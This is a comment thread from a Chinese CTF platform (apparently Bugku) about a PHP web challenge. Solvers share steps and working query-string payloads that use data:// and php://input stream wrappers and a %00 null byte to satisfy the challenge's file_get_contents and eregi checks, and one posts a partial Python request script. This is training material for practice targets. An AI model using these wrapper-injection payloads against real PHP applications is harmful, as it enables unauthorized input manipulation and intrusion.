评分(28)
解题动态
moque 攻破了该题 22小时前
全都拿下 攻破了该题 1天前
ItsAllOver 攻破了该题 1天前
HaHaHa_111 攻破了该题 2天前
qi1102 攻破了该题 2天前
Alter 攻破了该题 3天前
byleth 攻破了该题 3天前
xiaoxiang07 攻破了该题 3天前
CCC1112 攻破了该题 3天前
zmjjkk..... 攻破了该题 4天前
KN11 攻破了该题 4天前
human 攻破了该题 5天前
1柒1 攻破了该题 5天前
世界你好 攻破了该题 6天前
xinghai147 攻破了该题 6天前
能工智人 攻破了该题 6天前
3213760949 攻破了该题 7天前
zzz122 攻破了该题 7天前
17199913044 攻破了该题 7天前
评论
冯飞99 3年前
举报
总结一下吧，查到源码后得到url 解码后得到base64，解码后得到url，解码后出现php源代码，查看源代码检查好规则，构建payload，bp抓包，发送给重发器，查看结果。
2089669143 3年前
举报
为什么我登陆到1p.html以后它直接跳转到https://www.bugku.com/，求救救我
MiracleWolf 3年前
举报
在跳转网页时进行bp抓包，在返回包中能看到网站后面藏了东西，然后解码。
莴笋要种泥里 3年前
举报
我也是，什么原因
evens 3年前
举报
?id=0a&b=*111111&a=data://text/plain;base64,YnVna3UgaXMgYSBuaWNlIHBsYXRlZm9ybSE=
wxy1343 3年前
举报
http://114.67.175.224:14407/hello.php?id=a&a=data:,bugku is a nice plateform!&b=%0011111
xclay 3年前
举报
伙伴们输入参数的时候一定不要带任何引号，不然不好使
Restwlaq 3年前
举报
第一步直接view-source:url/1p.html。第二步，如果用Bp就可以发现靶机php版本响应是5.5，一篇文章说php://input在5.3以后就不用了。所以小伙伴们不要纠结php://input了，使用data://协议吧
joyoung 3年前
举报
?id=0a&a=data://text/plain,bugku is a nice plateform!&b=?12345
zdfy005 3年前
举报
import requests url='http://114.67.246.176:14183/?id=0dut2251&a=php://input&b=*000000' head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'} data='b
zdfy005 3年前
举报
$data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
笨笨笨蛋 4年前
举报
真的没懂